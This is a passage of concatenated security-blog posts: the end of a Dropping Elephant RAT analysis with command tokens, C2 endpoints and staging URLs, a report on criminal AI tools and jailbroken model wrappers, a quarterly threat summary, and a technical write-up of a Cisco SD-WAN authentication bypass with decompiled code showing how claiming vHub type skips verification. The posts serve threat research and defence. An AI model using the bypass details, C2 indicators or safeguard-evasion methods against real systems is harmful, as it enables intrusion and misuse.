Table 3: Confirmed RAT command handlers with dispatch tokens and behavior

The RAT identifies tasks by looking for command tokens in the C2 response. Each token is followed by the delimiter ==zz==oo==pp==. For example, fl==zz==oo==pp== tells the RAT to run the file-listing handler.

Anti-analysis 

The RAT uses several anti-analysis techniques, including control-flow flattening, opaque predicates, dynamic API resolution, stack-built strings, static CRT linking, process blacklist checks, CPUID hypervisor checks, VM artifact checks, and public-IP geolocation checks.

Control-flow-flattening-dispatcher-skeleton.png
Figure 8: Control-flow flattening dispatcher skeleton in decompiler output

During dynamic testing, the process scan and public-IP geolocation checks are executed without triggering self-termination. The RAT built its registration beacon with the full process list in the mkeoldkf field and attempted to send it to gcl-power[.]org. The connection returned HTTP 522, so the beacon did not reach the origin server during testing. Based on this run, we can confirm the environment checks and reporting behavior. Unfortunately, we cannot determine whether the operator would have killed the session, continued tasking, or taken another action after receiving the process list. The full list of processes and security tools cancould be found in the IOCs section below.

Attribution 

To test whether the RAT delivered by Donut was related to Dropping Elephant, we compared it with a known family sample documented by Arctic Wolf in July 2025: SHA-256 8b6acc087e403b913254dd7d99f09136dc54fa45cf3029a8566151120d34d1c2. That report provides the family context for the reference sample.

BinDiff produced low signal, with 8.6% overall similarity. We do not treat this as evidence against shared lineage. The new sample uses control-flow flattening, which changes the control-flow graph structure that BinDiff depends on. Therefore we also compared the samples with Diaphora, using pseudocode and AST-level features less affected by control-flow flattening.

Diaphora identified four function-level overlaps that pointed to a shared code usage.

Functionality

Shared traits

Command execution

Similar allocation, encoding, formatting, and POST structure; repeated use of the 0x2710 buffer constant

Screenshot handling

Same GDI screenshot pattern, including GetSystemMetrics values 78 and 79 and BitBlt with 0xCC0020; the newer sample uses WIC instead of GDI+ for encoding

C2 connection

Same WININET request flow: open, connect, open request, send request, read response; the newer sample moves from HTTP to HTTPS with INTERNET_FLAG_SECURE

Shell execution

Shared hidden-window execution and cmd.exe /c chcp 65001 output-capture pattern

Table 4: Code-level overlaps between editor.extracted.exe and old_rat.exe identified by Diaphora

The LNK lure and delivery chain also resemble prior Dropping Elephant reporting, including PowerShell staging, legitimate binary abuse, scheduled task persistence, extension manipulation during downloads, and DLL side-loading. These overlaps supported the initial hypothesis, but the payload comparison provides the primary evidence for the lineage assessment.

Mitigation guidance

MITRE ATT&CK techniques

Tactic

Technique

Observable

Initial Access

Phishing: Spearphishing Attachment [T1566.001]

Malicious GRES3001.lnk used as the initial lure artifact; no email artifact recovered

Execution

User Execution: Malicious File [T1204.002]

User opens GRES3001.lnk

Execution

Command and Scripting Interpreter: PowerShell [T1059.001]

LNK launches conhost.exe, which starts the PowerShell downloader

Execution

Command and Scripting Interpreter: Windows Command Shell [T1059.003]

RAT cmx handler runs cmd.exe /c chcp 65001 | <cmd>

Persistence

Scheduled Task/Job: Scheduled Task [T1053.005]

GoogleErrorReport runs C:\Users\Public\Fondue.exe every minute

Defense Evasion

Hijack Execution Flow: DLL Side-Loading [T1574.002]

Fondue.exe loads the malicious APPWIZ.cpl staged alongside it

Defense Evasion

Masquerading: Match Legitimate Name or Location [T1036.005]

Edge icon spoofing, GoogleErrorReport task name, staging in C:\Users\Public\

Defense Evasion

Obfuscated Files or Information [T1027]

Junk file extensions, string splitting, encrypted payload container, encoded C2 fields

Defense Evasion

Reflective Code Loading [T1620]

Donut maps the final PE in memory without writing it to disk

Defense Evasion

Impair Defenses: Disable or Modify Tools [T1562.001]

Donut patches in-process AMSI and WLDP functions before payload execution

Defense Evasion

Virtualization/Sandbox Evasion: System Checks [T1497.001]

CPUID, VM artifact, process blacklist, and public-IP geolocation checks

Discovery

Process Discovery [T1057]

RAT enumerates running processes and sends the process list in mkeoldkf

Discovery

System Information Discovery [T1082]

RAT collects username, computer name, OS version, and host profile fields

Discovery

System Network Configuration Discovery [T1016]

RAT obtains public IP through api.ipify.org

Discovery

System Location Discovery [T1614]

RAT queries ip2c.org for country/geolocation

Discovery

File and Directory Discovery [T1083]

fl handler enumerates files

Collection

Screen Capture [T1113]

sc handler captures the virtual screen with BitBlt and encodes it with WIC

Collection

Data from Local System [T1005]

uf handler exfiltrates files; fl handler lists local files

Command and Control

Application Layer Protocol: Web Protocols [T1071.001]

HTTPS C2 traffic to gcl-power[.]org

Command and Control

Data Encoding: Standard Encoding [T1132.001]

C2 fields use Base64 wrapping

Command and Control

Encrypted Channel: Symmetric Cryptography [T1573.001]

C2 field content is protected with Salsa20

Command and Control

Ingress Tool Transfer [T1105]

Initial staging downloads and dw download-and-execute capability

Exfiltration

Exfiltration Over C2 Channel [T1041]

Host fingerprinting, screenshots, command output, and files leave over the C2 channel

Indicators of compromise (IOCs)

File hashes

SHA-256

File

Comment

a8ecbd9c049044ca4990a0e5960d19ce782a3b42d7763e9693d7c91ead24a0b7

GRES3001.lnk

Initial-access shortcut; launches conhost.exe → PowerShell downloader

56d656d684077e7b3231393f5464447cdc8eea81b6415c5f010bc52f0c8cb317

GRES3001.pdf

Decoy lure document

b58351ead08db413ca499cfeb1b1091ed8bfd68f4089605e452fa01ed46f42b1

Fondue.exe

Legitimate Microsoft side-loading host

914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6

APPWIZ.cpl

Malicious side-loaded loader; exports RunFODW

718812adb0d669eea9606432202371e358c7de6cdeafeddad222c36ae0d3f263

msvcp140.dll

Bundled VC++ runtime; verify against known-good

09d1e604e8cdd06176fcc3d3698861be20638a4391f9f2d9e23f868c1576ca94

vcruntime140.dll

Bundled VC++ runtime; verify against known-good

a5e448af73b0ff6b6fcfe6ef7808120e1fd7e5c4c9b4edd68e1c980e5ea3406b

editor.dat

Base64-wrapped AES-256-CBC encrypted payload file

ecab0e747bff16a1163bbd9bb494e68dd4d7ca655ac7279bd4dd73221f7df57c

editor.decrypted.bin

AES-decrypted Donut loader blob

7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54

editor.extracted.exe

Final RAT, carved from memory

Network indicators

Indicator

Type

Notes

chinagreenenergy.org

Domain

Staging and delivery server

https://chinagreenenergy.org/doc/35566/SXxls

URL

Decoy PDF download

https://chinagreenenergy.org/doc/list/load-list/dfe87bbc-53e0-489f-a9e6-ab8f4be47cb9

URL

Fondue.exe download

https://chinagreenenergy.org/doc/list/load-list/8daaa3e4-c85e-40c1-a2a2-94679e94c417

URL

APPWIZ.cpl download

https://chinagreenenergy.org/doc/list/load-list/ecdc6b92-62b5-4acd-99f2-af09902938e1

URL

msvcp140.dll download

https://chinagreenenergy.org/doc/list/load-list/e7477b17-45f0-420b-b2b1-811d4c1556ea

URL

vcruntime140.dll download

https://chinagreenenergy.org/doc/list/load-list/000bd4a8-814d-414c-8be8-f0c77a9c7e1e

URL

editor.dat download

gcl-power.org

Domain

Operational C2 over HTTPS/443

/prjozifvkpkfhkr/

URI path

Registration / check-in

/prjozifvkpkfhkr/gedhagammgjvvva/

URI path

Command polling endpoint

/prjozifvkpkfhkr/spxbjdhxtapivrk/

URI path

Screenshot exfiltration endpoint

api.ipify.org

Domain

Public-IP lookup used during host fingerprinting

ip2c.org

Domain

Geolocation lookup used during host fingerprinting

More IOCs can be found on our GitHub.

Conclusion

The campaign analyzed in this blog demonstrates continued Dropping Elephant operational investment and tooling development. The actor reused recognizable delivery patterns, including a China-themed lure, PowerShell-based staging, scheduled task persistence, shortcut-based execution, and DLL side-loading through a trusted Microsoft binary. At the same time, it evolved the final payload into a more evasive, memory-resident implant.

The final RAT represents a notable evolution from previously documented Dropping Elephant tooling. It executes entirely in memory, patches AMSI, WLDP, and ETW before running, and incorporates additional obfuscation and anti-analysis techniques that make detection and analysis more difficult.

For defenders, the practical takeaway is that Dropping Elephant’s tooling may be changing faster than its operational approach. Hashes, filenames, and infrastructure are likely to change across campaigns, but the path into execution still creates opportunities to detect and disrupt the activity before the final implant runs.

Criminal AI-as-a-Service in 2026: How the Underground Market Is Operationalizing Cybercrime

11 June 2026 at 09:00

Introduction

The underground market for criminally oriented generative AI has moved beyond the early hype surrounding 'malicious chatbots.' The gradual integration of AI as a productivity layer within cybercrime operations has become the dominant story, indicating that while the potential for fully autonomous AI hacking systems is possible, attackers are not embracing them as expected. Instead, threat actors are increasingly using AI to accelerate routine, but operationally significant, tasks to scale their operations. Drafting phishing lures, profiling targets, debugging code, generating forged documents, modifying malware, translating victim communications, and processing stolen data at scale were once time-consuming activities that AI has made significantly easier. AI does not replace cybercriminals; it lowers friction, increases speed, and expands the range of actors able to perform tasks that previously required more time, skill, or external support.

AI is being absorbed into criminal tradecraft, embedding itself in social engineering, fraud enablement, impersonation, identity abuse, and post-breach data exploitation. The market supporting this demand is not a single coherent product category, but a broader ecosystem of jailbreak wrappers, Telegram-based bots, prompt packs, open-weight model deployments, stolen AI accounts, and hijacked API keys. Their importance lies less in technical elegance than in usability. They provide criminals with accessible, repeatable, and commercially packaged ways to apply AI to operational problems.

This ecosystem should not be mistaken for a stable or fully mature criminal market. Compared with more established sectors, criminal AI remains volatile, uneven, and heavily exposed to hype. Some services offer genuine operational utility while others are little more than repackaged public models marketed at inflated prices. Many are short-lived, deceptive, or opportunistic rebrands. 

Even so, the demand is real. The core shift is not the arrival of a single dominant criminal model, but the commercialization of access to AI-enabled criminal capability. The strategic significance of criminal AI lies in compressing time, lowering skill barriers, improving communication quality, and scaling existing criminal workflows.

Criminal AI-as-a-Service

The defining features of this market have little to do with any technical novelty, but rather the packaging and monetization of access. By early 2026, many underground services were marketed through familiar commercial mechanisms like subscriptions, private support channels, Telegram-based delivery, gated communities, and promises of uncensored output, privacy, or reduced logging. These are clear signs of SaaS-style commercialization, albeit far less mature or stable than its legitimate counterparts.

The market should be best understood as “Criminal AI-as-a-Service.” Most offerings do not appear to rely on original foundational models built by threat actors. Instead, they typically depend on jailbreaks, wrappers around commercial services, fine-tuned open-weight models, repackaged interfaces, or modular combinations of existing capabilities. 

Pricing patterns suggest growing commercialization, but not a stable market structure. Entry-level access may be inexpensive, while premium services can be marketed at significantly higher rates with promises of priority support or additional functionality. These prices should be treated as indicative, not definitive (Figures 1 and 2). They are highly volatile and shaped by takedowns, fraud, rebranding, and shifting demand. 

At the lower end, free tools and stolen access to legitimate AI services often remain the default. In the middle of the market, recurring subscriptions are increasingly common. At the upper end, some services claim to use more modular or self-hosted architectures to reduce dependence on mainstream platforms. Together, these patterns point to a market that is becoming more operationalized, even if it remains unstable and hype-driven.

xanthorox-pricing.png
Figure 1: Xanthorox’s pricing

wormGPT-pricing.png
Figure 2: WormGPT's pricing

Main criminal AI tool families

The criminal AI ecosystem is defined by several distinct tool families that reflect how threat actors adopt, package, and market generative AI for illicit use. Some platforms function as fraud-enabling assistants, others as uncensored Telegram-native chatbots, modular offensive frameworks, or low-barrier tools aimed at novice users. Examining these categories is more useful than focusing solely on individual brand names, as it reveals the market’s underlying operational logic. That logic is based on how these tools are distributed, which users they target, and which stages of the criminal workflow they are designed to support. 

Overall, the market is increasingly splitting into two complementary directions. At one end are low-cost, mass-market tools that help less experienced actors produce phishing content, scam scripts, malware prompts, forged material, and social engineering narratives at scale. At the other end are more specialized platforms that integrate AI into execution workflows, supporting targeting, automation, and operational optimization for fewer but more precise attacks. This volume-versus-precision dynamic shows that criminal AI is no longer only about accelerating malicious content generation; it is also becoming a way to make illicit operations more scalable, quieter, and strategically targeted.

FraudGPT 

This tool family represents the distribution model for criminal AI by fraud shops. Emerging in mid-2023 for a few hundred dollars per month, its longevity on the black market stems from its positioning as an "all-in-one" operational assistant rather than a simple programming tool. Most buyers are not using it to engineer highly complex malware; instead, they treat it as a productivity engine to orchestrate the entire fraud chain. 

Threat actors use it to systematically design lookalike phishing pages, scrape target data, draft convincing spear-phishing lures, and generate scam scripts. Even as the underlying architecture has evolved away from standalone models and toward basic wrappers around legitimate, jailbroken corporate APIs, FraudGPT remains a staple of the underground economy because it effectively democratizes advanced social engineering, allowing entry-level scammers to execute highly localized, grammatically flawless, and high-volume fraud operations (Figure 3).

FraudGPT-website.png
Figure 3: FraudGPT’s website

GhostGPT 

This tool family reflects the Telegram-native distribution model. Its reported selling points — uncensored output, ease of access, and reduced operational friction — illustrate the convenience and perceived safety many criminal buyers claim to value most. However, like many tools in this category, independent verification of its capabilities is limited, and its significance lies more in what it signals about buyer preferences than in any confirmed technical differentiation.

WormGPT

This tool family serves as the ultimate case study in the power and persistence of criminal branding. While the original, headline-grabbing tool was officially shut down by its creator in August 2023 following intense law enforcement and media exposure, the name has essentially become a generic dark-web trademark for unrestricted AI. The market is saturated with opportunistic copycats, such as "WormGPT v4" and various Telegram bots trading on the name. 

Threat intelligence analysis of these modern variants reveals that they share zero code with the original system; instead, they are highly volatile marketing shells, often basic API wrappers around commercial models like Grok or Mixtral that use specialized system prompts to bypass safety guardrails. WormGPT's relevance in 2026 lies not in its technical uniqueness but in its sociological impact. It is an entry-level gateway tool used by script kiddies and sophisticated actors alike to quickly generate functional exploit scripts, craft persuasive business email compromise (BEC) lures, and scale offensive workflows (Figure 4).

WormGPT_s-website.png
Figure 4: WormGPT‘s website

KawaiiGPT 

This is a freely accessible or low-cost criminally oriented AI chatbot/tool marketed in underground spaces to generate or support illicit content and cybercrime-related tasks. Its use highlights the problem of low-barrier access in the criminal LLM market. Its relevance does not lie in any demonstrated advanced capability and there is little evidence that it provides meaningful technical sophistication beyond basic generative AI functions. Rather, KawaiiGPT is important as an example of how free or near-free tools can normalize AI-assisted offending among less experienced users. Its significance is therefore sociological rather than technical as it lowers the threshold for participation, makes AI-assisted offending appear accessible and low-risk, and introduces novice actors to workflows such as phishing text generation, fraud scripting, impersonation, and other forms of low-level cybercrime support.

BruteForceAI 

This tool family represents a meaningfully different category from the chatbot-style tools that dominate criminal AI branding. BruteForceAI prioritizes precision over content generation. It integrates large language models for intelligent form analysis and sophisticated multi-threaded attack execution. This distinction matters. The broader trend it reflects is one of attackers making fewer, better-targeted attempts rather than relying on brute volume. AI here is not a content tool. It is an execution layer, and the shift from noisy credential stuffing to quiet, optimized targeting is strategically more significant than any individual tool name (Figure 5).

BruteforceAI-program.png
Figure 5: BruteforceAI program

Xanthorox 

This AI represents the modular criminal AI platform. Its significance lies in how it is marketed. Public reporting describes it as more than another “evil chatbot,” with claims around coding support, multiple model components, and broader operational utility. Still, Xanthorox should be framed cautiously. It is better treated as an emerging or ambitiously marketed platform than as a universally verified flagship of the underground market (Figure 6).

Xanthorox-website.png
Figure 6: Xanthorox’s website

The wide variety of smaller adversarial AI tools in 2026, including names like DarkGPT, EscapeGPT, WolfGPT, Evil-GPT, XXXGPT, and BadGPT, should be viewed with caution. These brands do not constitute a coherent or reliable category; instead, they often function as short-lived rebrandings or simple interfaces built on public or open-source models. In many cases, these are "scam-of-the-month" services hosted on Telegram, designed to capitalize on hype, with entry-level memberships starting at a few dozen dollars. However, they should not be dismissed outright, as some do offer genuine un-censorship or serve as testing grounds for malicious exploits. The bottom line in 2026 is that the brand name matters less than the underlying architecture. Most "GPT" labels are disposable marketing shells used to evade takedown measures or rebuild credibility after a service failure.

What truly defines the threat is the infrastructure supporting them. While entry-level tiers cost very little, professional-grade systems can cost thousands of dollars. At this level, the value isn't in the name, but in the technical setup.: These include the specific model used, how the service is delivered, the reliability of the operator, and how well it connects with other criminal tools like phishing kits, stealers, and ransomware support. Ultimately, the market has shifted toward operationalizing AI, focusing on tools that can automate and maximize the efficiency of entire illicit workflows.

Stolen AI accounts as an overlooked criminal market

One of the most important and still underappreciated developments in this landscape is the resale and abuse of legitimate AI access. This pattern is not new. Every widely adopted and commercially valuable technology eventually generates a secondary criminal market around stolen credentials, compromised accounts, and unauthorized access. AI is now following the same trajectory. Threat actors do not rely only on underground “dark AI” tools. They also misuse mainstream AI platforms directly.

However, the abuse of stolen AI accounts and hijacked API keys may be more consequential than many earlier credential markets. Access to legitimate AI services can provide threat actors with scalable cognitive and operational capabilities, not just access to a single platform or dataset. A compromised AI account may enable faster reconnaissance, multilingual targeting, automated content production, code generation, malware troubleshooting, and the refinement of phishing or fraud workflows. Hijacked API keys may also allow actors to consume compute resources at the victim’s expense, bypass usage restrictions tied to their own identities, and access more capable models or enterprise-grade infrastructure. In this sense, stolen AI access is not merely another credential commodity. It can function as an operational force multiplier across multiple stages of the attack lifecycle, making its abuse both expected and potentially more impactful than many traditional forms of account compromise (Figures 7 and 8).

Stolen-AI-accounts-for-sale-cybercrime-forum.png
Figure 7: Stolen AI accounts for sale on a cybercrime forum

More-stolen-AI-accounts-for-sale-cybercrime-forum.png
Figure 8: More stolen AI accounts for sale on a cybercrime forum

The impact on organizations can be serious as AI accounts may contain proprietary information such as prompts, uploaded files, source code, legal drafts, customer data, internal summaries, product plans, meeting notes, investigative material, or strategic analysis. If compromised, the exposure extends beyond the credential itself. Enterprise AI accounts and AI-related access tokens should therefore be treated like cloud credentials, developer secrets, email accounts, or administrative SaaS access.

Deepfake services: From impersonation to KYC bypass

Deepfake services have become one of the criminal AI market’s most important adjacent segments, particularly in fraud, synthetic identity creation, onboarding abuse, and KYC bypass. These services are marketed not as experimental technologies, but as practical fraud enablers. Common offerings include face swaps, voice cloning, fake selfie generation, synthetic profiles, document manipulation, virtual camera injection, video-call impersonation, and full onboarding bypass packages (Figure 9). Their significance stems from the fact that many digital platforms continue to rely heavily on remote identity verification and visual trust cues.

The purpose of bypassing KYC controls is to create, validate, or access accounts that should not exist or should not be available to the offender. Once established, such accounts can support money laundering, mule activity, romance scams, investment fraud, payment abuse, sanctions evasion, account resale, and marketplace manipulation. The threat is no longer limited to static fake images. Attackers can combine face swaps, synthetic video, animated media, and virtual camera injection to impersonate real individuals during onboarding or verification.

Deepfake services also strengthen broader fraud operations. Romance scams, fake recruitment schemes, executive impersonation, vendor fraud, and investment scams all become more persuasive when synthetic voice or video is added to the deception chain. These services should therefore be understood as part of the same criminal AI capability stack. LLMs generate scripts, refine pretexts, localize language, and support interaction at scale. Stolen data enhances personalization. Deepfake tools add the visual and audio layer that increases trust and makes deception harder to detect. Together, these capabilities form a more complete deception architecture.

Deepfake-KYC-bypass-service-advertisement.png
Figure 9: Cybercrime forum's advertisement for a Deepfake KYC bypass service website

Organizational impact and defensive priorities

For organizations, the impact of AI-enabled cybercrime is both economic and operational. The main concern is not the sudden arrival of fully autonomous AI hacking, but the steady increase in attacker productivity, deception quality, operational flexibility, and post-compromise efficiency.

This last concern is important to note. Once attackers obtain data, AI can help them review it more quickly and more systematically. Models can summarize large document sets, identify sensitive or monetizable material, extract victim-specific details, and support tailored extortion or fraud. This does not require a purpose-built criminal model. It requires access to a capable model, relevant data, and a clear criminal objective.

At the same time, enterprise AI environments are becoming part of the attack surface. AI accounts, API keys, prompts, uploaded files, connectors, retrieval systems, internal knowledge bases, and agentic workflows can all expose sensitive business information if they are compromised, misused, or poorly governed. These assets should therefore be managed with the same seriousness as other critical systems, including clear ownership, least-privilege access, logging, monitoring, retention rules, and periodic access reviews.

Organizations should respond by treating criminal AI as a challenge of trust, identity, workflow security, and data governance, rather than only as a malware issue. High-risk business processes should be reinforced with stronger approval controls, transaction verification, segregation of duties, and out-of-band confirmation, especially for financial transfers, access changes, sensitive data requests, and executive communications.

Phishing and fraud defenses must also adapt. Poor grammar and obvious language errors are no longer reliable indicators of malicious activity. Organizations should assume that many adversaries can now generate polished, localized, and credible communications at scale. Detection should therefore rely more heavily on behavioral indicators, sender validation, process anomalies, identity verification, and transaction integrity than on superficial language cues.

At the same time, organizations should prepare for AI-assisted post-breach exploitation by improving data minimization, segmentation, access controls, monitoring, logging, and incident response planning. They should also monitor the broader underground capability stack, including jailbreak services, stolen AI accounts, and synthetic media tooling, because these increasingly shape attacker tradecraft in practice.

The market will likely see more bundling of text generation, translation, impersonation, data analysis, and synthetic media into a single criminal offering. It will also likely see continued abuse of legitimate AI platforms alongside wrapper-based underground services. The ecosystem will likely remain uneven, opportunistic, and hype-heavy, while becoming strategically important because it makes cybercrime easier to execute, scale, and detectFor organizations, the main risk is not only higher financial loss, but also the growing operational strain created by AI-assisted attacks that are faster, more scalable, and harder to triage.

Enterprise AI accounts, API keys, prompts, uploaded files, connectors, retrieval systems, internal knowledge bases, and agentic workflows should be managed as critical assets, with clear ownership, least-privilege access, logging, monitoring, retention rules, and periodic access reviews. Sensitive data should be exposed to AI systems only when there is a clear business need, especially when AI tools connect to email, cloud storage, code repositories, customer databases, financial systems, or external services. High-risk AI connectors and workflows should be inventoried, risk-ranked, and monitored for abnormal access, bulk data movement, privilege escalation, or unauthorized agent actions.

 As phishing tactics become better, core controls should include MFA, phishing-resistant authentication, conditional access, DLP, EDR/XDR, API security monitoring, secrets scanning, prompt and output filtering, and model-access controls. Incident response plans should also cover stolen AI accounts, exposed prompts, compromised API keys, leaked embeddings, abused connectors, and sensitive data retained in AI workspaces.

The organizations best positioned for the next phase will be those that integrate AI risk into existing security governance rather than treating it as a separate technical issue. As criminal use of AI becomes part of everyday attacker tradecraft, resilience will depend on the ability to verify identity, control access, protect data flows, monitor AI-enabled workflows, and maintain human oversight over high-impact decisions. The future defensive priority is therefore not to predict every AI-enabled attack, but to build security architectures that remain reliable when attackers become faster, more persuasive, and more efficient.

Rapid7 Quarterly Threat Landscape Report: Zero-clicks, geopolitical tensions, and some wins for law enforcement

21 May 2026 at 09:00

The first quarter of 2026 reinforced that attackers are moving faster, operating with greater coordination, and exploiting weaknesses before most organizations can respond effectively. From escalating geopolitical tensions to increasingly aggressive ransomware operations, the latest quarterly Threat Landscape Report highlights a security environment where reactive defense strategies are becoming unsustainable.

Quarterly Threat Landscape Report findings

Exploits unseat social engineering for top initial access vector (IAV)

One of the biggest takeaways is that vulnerability exploitation surpassed social engineering as the largest initial access vector with 38% of the total. This would be interesting on its own, but when coupled with more than 50% of all exploited vulnerabilities actively being zero-click, network facing vulnerabilities, it indicates that, at least in the short term, attackers are finding AI-enabled vulnerability exploitation easier to accomplish than exploiting human behavior. These types of vulnerabilities require no authentication and no user interaction, giving attackers rapid pathways into exposed systems and edge infrastructure. At the same time, exploitation activity was frequently preceded by large spikes in public discussion across forums, blogs, and social media platforms, demonstrating how quickly threat actors operationalize publicly available information once vulnerabilities gain visibility.

Geopolitics and FBI takedowns in the threat landscape

Geopolitical instability also continued to shape cyber operations throughout the quarter, particularly in the Middle East, where cyber activity was increasingly synchronized with military escalation. Iranian state-aligned groups targeted government infrastructure, financial services, and industrial systems, while Russian and Chinese campaigns focused heavily on intelligence collection, telecommunications infrastructure, and persistent access operations designed to remain undetected over long periods of time. The result is a threat landscape where organizations must prepare not only for immediate disruption, but also for long-term persistence inside enterprise environments.

Meanwhile, law enforcement operations targeting underground criminal infrastructure disrupted several major ransomware and credential marketplaces during Q1, including the seizure of RAMP and LeakBase. These takedowns have created operational pressure for cybercriminal groups, pushing threat actors toward smaller, decentralized communities and increasing internal distrust.

A marked shift towards "pure extortion"

The report also highlights the continued evolution of ransomware operations, particularly the growing shift toward “pure extortion” tactics focused on rapid data theft rather than traditional encryption-based attacks. Threat actors increasingly leveraged zero-click vulnerabilities to gain initial access, exfiltrate sensitive data, and pressure victims without deploying ransomware payloads that create additional operational risk and visibility.

Taken together, the findings from Q1 2026 show that organizations can no longer rely on periodic assessments and reactive workflows alone. Security teams need continuous visibility into their attack surface, better prioritization around exploitable risk, and the ability to move at a pace that matches modern attackers before small exposures become large-scale incidents.

Download the full report here.

CVE-2026-20182: Critical authentication bypass in Cisco Catalyst SD-WAN Controller (FIXED)

14 May 2026 at 12:00

Overview

While researching a critical authentication bypass vulnerability, CVE-2026-20127, which was exploited in-the-wild, Rapid7 Labs discovered a new authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Controller (formerly known as vSmart), CVE-2026-20182.

This new authentication bypass vulnerability affects the “vdaemon” service over DTLS (UDP port 12346), which is the same service that was vulnerable to CVE-2026-20127. The new vulnerability is not a patch bypass of CVE-2026-20127. It is a different issue located in a similar part of the “vdaemon” networking stack.

This impact however is the same, a remote unauthenticated attacker can leverage CVE-2026-20182 to become an authenticated peer of the target appliance, and perform privileged operations, such as injecting an attacker controlled public key into the vmanage-admin user account’s authorized SSH keys file. Once this has been performed, a remote unauthenticated attacker can login to the NETCONF service (SSH over TCP port 830) as the vmanage-admin user, and begin to issue arbitrary NETCONF commands.

CVE-2026-20182 has a CVSSv3.1 score of 10.0 (Critical), and a Common Weakness Enumeration (CWE) of CWE-287: Improper Authentication.

Technical analysis

The Cisco Catalyst SD-WAN Controller serves as the central control plane. Unlike Cisco Catalyst SD-WAN Manager, it has no web UI. Its network-reachable attack surface is narrow and depending on the configuration may expose the following ports:

Port

Protocol

Service

22

TCP

SSH (OpenSSH)

830

TCP

NETCONF over SSH

12346

UDP

vdaemon DTLS control plane

UDP port 12346 is the DTLS-over-UDP control-plane peering port used by vdaemon for inter-controller and controller-to-edge communication. It carries Overlay Management Protocol (OMP) messages including route advertisements, Transport Locations (TLOC) tables, and peer state - the entirety of the SD-WAN overlay routing fabric. Compromising this service means compromising the network.

To understand the vulnerability, we first need to understand how vdaemon authenticates control-plane peers. The protocol is a multi-phase handshake over DTLS:

Attacker                                    vSmart
   |                                           |
   |──── DTLS Handshake (any cert) ───────────>|  ← cert verify logs error but returns OK
   |                                           |
   |<──── CHALLENGE (msg_type=8) ──────────────│  ← 256 random bytes + TLVs
   |                                           |
   |──── CHALLENGE_ACK (msg_type=9) ──────────>|  ← device_type=2 (vHub) → NO VERIFICATION
   |                                           |
   |<──── CHALLENGE_ACK_ACK (msg_type=10) ─────│  ← peer->authenticated = 1
   |                                           |
   |──── Hello (msg_type=5) ──────────────────>|  ← passes auth check, peer goes UP
   |                                           |
   |<──── Hello (msg_type=5) ──────────────────│  ← peer-type:vhub, new-state:up

After a DTLS handshake completes (which accepts any client certificate), the server sends a CHALLENGE containing 256 random bytes and a set of TLVs including Certificate Authority (CA) RSA public key components. The client must respond with a CHALLENGE_ACK, and it is during the processing of this response, in vbond_proc_challenge_ack(), that device-type-specific certificate verification occurs. Or, in the case of a “vHub” device, does not occur.

The 12-byte message header format for the vdaemon protocol is as follows:

Byte Offset 

Byte Size 

Field

Notes

0

1

msg_type

Low nibble = type, high nibble = version

1

1

device_info

High nibble = device_type, low nibble = flags

2

1

flags

Standard value of 0xA0

3

1

padding

Always 0x00

4 - 7

4

domain_id

Big-endian uint32

8 - 11

4

site_id

Big-endian uint32

The vdaemon protocol defines the following device types, encoded in the upper nibble of header byte 1, aka device_info:

Value

Device Type

Role

1

vEdge

Data-plane router

2

vHub

Hub router

3

vSmart

Control-plane controller

4

vBond

Orchestrator (trust anchor)

5

vManage

Management plane

6

ZTP

Zero-touch provisioning

This is the core of the vulnerability. Below is a walk through of the decompiled code from vbond_proc_challenge_ack(), which processes the CHALLENGE_ACK message sent by a connecting peer. After the DTLS handshake, the function extracts the peer's certificate serial number and then enters device-type-specific verification (Note: edited for brevity):

// vdaemon!vbond_proc_challenge_ack()
// After extracting serial number from peer certificate via
// X509_get_serialNumber() / ASN1_INTEGER_to_BN() / BN_bn2hex()

// ...snip...

if ( *(_DWORD *)(a3 + 8) == 3 || *(_DWORD *)(a3 + 8) == 5 ) // <--- [1]
{
// vSmart (type 3) or vManage (type 5): Certificate chain verification
v24 = is_serial_duplicate(v22, *(_DWORD *)(a3 + 8), ...);
if ( v24 )
    {
if ( (unsigned __int8)vbond_peer_dup_check(a1, a2, v24, ...) ) // <--- [2]
{
            v19 = 36;  // ERR: Duplicate Serial
goto LABEL_179;  // REJECT
}
    }
}
// ...snip...

// Second verification block - additional cert & state checks
if ( *(_DWORD *)(a3 + 8) == 3 && *(_DWORD *)(a1 + 8) == 3 // <--- [3]
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 3
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 5
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 4
|| *(_DWORD *)(a3 + 8) == 3 && *(_DWORD *)(a1 + 8) == 4 )
{
    v19 = vdaemon_dtls_verify_peer_cert(a2);  // Full certificate verification
if ( v19 )
        v18 = 0;
    vdaemon_send_challenge_ack_ack(a1, *(_QWORD *)(a2 + 1232), a2, v18);
if ( v18 != 1 )
goto LABEL_179;  // REJECT on verification failure
vbond_send_ssh_keys_to_vmanage_peer(a1, a2);
}

if ( *(_DWORD *)(a3 + 8) == 1 // <--- [4]
&& (dword_2A1A28 == 4 || dword_2A1A28 == 3 || dword_2A1A28 == 5) )
{
// vEdge (type 1): Hardware/virtual edge certificate verification
    // ... challenge signature, board ID, OTP verification ...
if ( vdaemon_verify_peer_bidcert(a2, ...) )
goto LABEL_179;  // REJECT on failure
}

// *** NO CODE PATH FOR device_type == 2 (vHub) *** // <--- [5]

*(_BYTE *)(a2 + 70) = 1;   // peer->authenticated = true // <--- [6]
return 0LL;                // Success

We can see from the above that the function implements device-type-specific verification through a series of conditional blocks:

At [1] above, the function checks whether the connecting peer claims to be a vSmart (type 3) or vManage (type 5). If so, it enters a certificate serial number lookup via is_serial_duplicate(), which searches the local certificate database for a matching serial. At [2], if the serial is found, a duplicate-serial check via vbond_peer_dup_check() rejects the peer if a peer with that serial is already connected - preventing impersonation of existing authorized controllers.

At [3], a second verification block performs full certificate chain verification via vdaemon_dtls_verify_peer_cert(). This block executes only for specific (peer_type, local_type) pairs: vSmart-to-vSmart, vManage-to-vSmart, vManage-to-vManage, vManage-to-vBond, and vSmart-to-vBond. No pair in this block involves device type 2 (vHub). If the verification function returns a non-zero error, v18 is set to 0, and the function jumps to LABEL_179, which  rejects the peer.

At [4], vEdge peers (type 1) enter hardware certificate verification via vdaemon_verify_peer_bidcert(). This path validates either a hardware TPM-based certificate (for physical vEdge routers) or a virtual edge certificate, including challenge-response signature verification and board ID validation. Failure sends the function to LABEL_179, which  rejects the peer.

